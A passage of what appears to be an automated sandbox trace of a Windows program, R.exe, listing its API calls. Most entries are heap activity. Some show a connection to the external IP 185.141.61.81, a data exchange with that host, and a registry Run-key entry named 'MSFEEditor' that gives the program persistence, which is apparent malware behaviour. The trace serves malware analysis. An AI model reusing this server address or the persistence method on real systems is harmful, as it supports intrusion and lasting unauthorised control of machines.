Size=0xa30) returned 0x8243d0 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x8243d0 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x80eb18 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x8243d0 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b270 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b270 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80be50 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80da40 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be50 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e) returned 0x821e20 [0031.322] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80da40 | out: hHeap=0x7f0000) returned 1 [0031.322] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x80cde8 [0031.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821e20 | out: hHeap=0x7f0000) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x161) returned 0x824df8 [0031.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x211) returned 0x81b788 [0031.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x824df8 | out: hHeap=0x7f0000) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x319) returned 0x80d518 [0031.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0031.323] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4a5) returned 0x819770 [0031.323] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d518 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6f7) returned 0x80eb18 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa72) returned 0x821fe8 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x819770 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x822a68 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x819770 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x80eb18 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x48) returned 0x80be50 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b270 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.324] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b248 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be50 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b270 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b248 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822a68 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0031.324] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8234f0 | out: hHeap=0x7f0000) returned 1 [0031.324] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x42f408 | out: lpWSAData=0x42f408) returned 0 [0031.329] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x807710 [0031.329] WSACreateEvent () returned 0x138 [0031.329] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x64 [0031.331] gethostbyname (name="185.141.61.81") returned 0x80bf40*(h_name="185.141.61.81", h_aliases=0x80bf50*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x80bf54*=([0]="185.141.61.81")) [0031.345] htons (hostshort=0x50) returned 0x5000 [0031.345] connect (s=0x64, name=0x42f124*(sa_family=2, sin_port=0x50, sin_addr="185.141.61.81"), namelen=16) returned 0 [0031.386] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b248 [0031.386] GetLastError () returned 0x0 [0031.386] SetLastError (dwErrCode=0x0) [0031.386] GetLastError () returned 0x0 [0031.386] SetLastError (dwErrCode=0x0) [0031.386] GetLastError () returned 0x0 [0031.386] SetLastError (dwErrCode=0x0) [0031.386] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b248 | out: hHeap=0x7f0000) returned 1 [0031.386] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b248 [0031.386] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d110 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b248 | out: hHeap=0x7f0000) returned 1 [0031.387] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80bef0 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d110 | out: hHeap=0x7f0000) returned 1 [0031.387] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x81be78 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80bef0 | out: hHeap=0x7f0000) returned 1 [0031.387] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xe0) returned 0x80ce90 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81be78 | out: hHeap=0x7f0000) returned 1 [0031.387] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x14f) returned 0x81b788 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80ce90 | out: hHeap=0x7f0000) returned 1 [0031.387] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x1f6) returned 0x81f660 [0031.387] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0031.387] send (s=0x64, buf=0x81f660*, len=370, flags=0) returned 370 [0031.387] Sleep (dwMilliseconds=0x32) [0031.448] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.448] WSAGetLastError () returned 997 [0031.448] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.470] WSAResetEvent (hEvent=0x138) returned 1 [0031.470] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.470] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x2f0) returned 0x81f860 [0031.470] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81f660 | out: hHeap=0x7f0000) returned 1 [0031.470] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.470] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.470] WSAResetEvent (hEvent=0x138) returned 1 [0031.470] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.470] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x467) returned 0x821fe8 [0031.470] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81f860 | out: hHeap=0x7f0000) returned 1 [0031.470] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.471] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.471] WSAResetEvent (hEvent=0x138) returned 1 [0031.471] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.471] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x69a) returned 0x822458 [0031.471] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.471] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.471] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.471] WSAResetEvent (hEvent=0x138) returned 1 [0031.471] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.471] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e6) returned 0x822b00 [0031.471] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822458 | out: hHeap=0x7f0000) returned 1 [0031.471] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x1ff, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.471] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.471] WSAResetEvent (hEvent=0x138) returned 1 [0031.471] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.471] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xed8) returned 0x8234f0 [0031.471] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822b00 | out: hHeap=0x7f0000) returned 1 [0031.471] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x2d, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.472] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.472] WSAResetEvent (hEvent=0x138) returned 1 [0031.472] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.472] WSARecv (in: s=0x64, lpBuffers=0x42f114, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x42f11c, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100, lpCompletionRoutine=0x0 | out: lpBuffers=0x42f114*=((len=0x1ff, buf=0x42f150*)), lpNumberOfBytesRecvd=0x42f11c*=0x0, lpFlags=0x42f134*=0x0, lpOverlapped=0x42f100) returned 0 [0031.472] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x42f120*=0x138, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0031.472] WSAResetEvent (hEvent=0x138) returned 1 [0031.472] WSAGetOverlappedResult (in: s=0x64, lpOverlapped=0x42f100, lpcbTransfer=0x42f11c, fWait=0, lpdwFlags=0x42f134 | out: lpcbTransfer=0x42f11c, lpdwFlags=0x42f134) returned 1 [0031.472] WSAGetLastError () returned 0 [0031.472] WSASetEvent (hEvent=0x138) returned 1 [0031.472] WSACloseEvent (hEvent=0x138) returned 1 [0031.472] closesocket (s=0x64) returned 0 [0031.472] WSACleanup () returned 0 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8243d0 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa30) returned 0x8213e8 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x8243d0 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x80eb18 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa20) returned 0x8243d0 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x50) returned 0x80db30 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x47) returned 0x80be00 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6a) returned 0x80f980 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be00 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x9e) returned 0x821e20 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80f980 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xec) returned 0x80cde8 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821e20 | out: hHeap=0x7f0000) returned 1 [0031.477] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x161) returned 0x824df8 [0031.477] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80cde8 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x211) returned 0x81b788 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x824df8 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x319) returned 0x80d518 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b788 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x4a5) returned 0x819770 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80d518 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x6f7) returned 0x80eb18 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xa72) returned 0x821fe8 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80db30 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x819770 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x7a0) returned 0x822a68 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x18) returned 0x810030 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x819770 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x30) returned 0x81d308 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x770) returned 0x80eb18 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x810030 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x819770 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x48) returned 0x80be00 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d308 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x60) returned 0x815fa0 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b1d0 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80be00 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.478] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x20) returned 0x81b400 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x80eb18 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b1d0 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x815fa0 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x822a68 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x821fe8 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8243d0 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8213e8 | out: hHeap=0x7f0000) returned 1 [0031.478] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x807710 | out: hHeap=0x7f0000) returned 1 [0031.479] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x8234f0 | out: hHeap=0x7f0000) returned 1 [0031.479] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xb27) returned 0x8213e8 [0031.479] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81d8f8 | out: hHeap=0x7f0000) returned 1 [0031.479] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x81b400 | out: hHeap=0x7f0000) returned 1 [0031.479] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42fa88, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r.exe")) returned 0x2b [0031.479] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x42f674, lpdwDisposition=0x0 | out: phkResult=0x42f674*=0x60, lpdwDisposition=0x0) returned 0x0 [0031.479] RegSetValueExW (in: hKey=0x60, lpValueName="MSFEEditor", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe\" e", cbData=0x60 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R.exe\" e") returned 0x0 [0031.480] RegCloseKey (hKey=0x60) returned 0x0 [0031.480] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xc) returned 0x811f30 [0031.480] GetLastError () returned 0x0 [0031.480] SetLastError (dwErrCode=0x0) [0031.480] GetLastError () returned 0x0 [0031.480] SetLastError (dwErrCode=0x0) [0031.480] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0xb8) returned 0x80f980 [0031.480] GetLastError () returned 0x0 [0031.480] SetLastError (dwErrCode=0x0) [0031.480] GetLastError () returned 0x0 [0031.480] SetLastError (dwErrCode=0x0) [0031.480] GetLastError () returned 0x0 [0031.480] SetLastError (dwErrCode=0x0) [0031.480] EnumSystemLocalesEx (lpLocaleEnumProcEx=0x188279, dwFlags=0x3, lParam=0x0, lpReserved=0x0) [0031.481] GetLastError () returned 0x0 [0031.481] SetLastError (dwErrCode=0x0) [0031.481] GetLocaleInfoEx (in: lpLocaleName="ar", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Arabic") returned 7 [0031.482] GetLastError () returned 0x0 [0031.482] SetLastError (dwErrCode=0x0) [0031.482] GetLocaleInfoEx (in: lpLocaleName="bg", LCType=0x1001, lpLCData=0x42e898, cchData=120 | out: lpLCData="Bulgarian") returned 10 [0031.482] 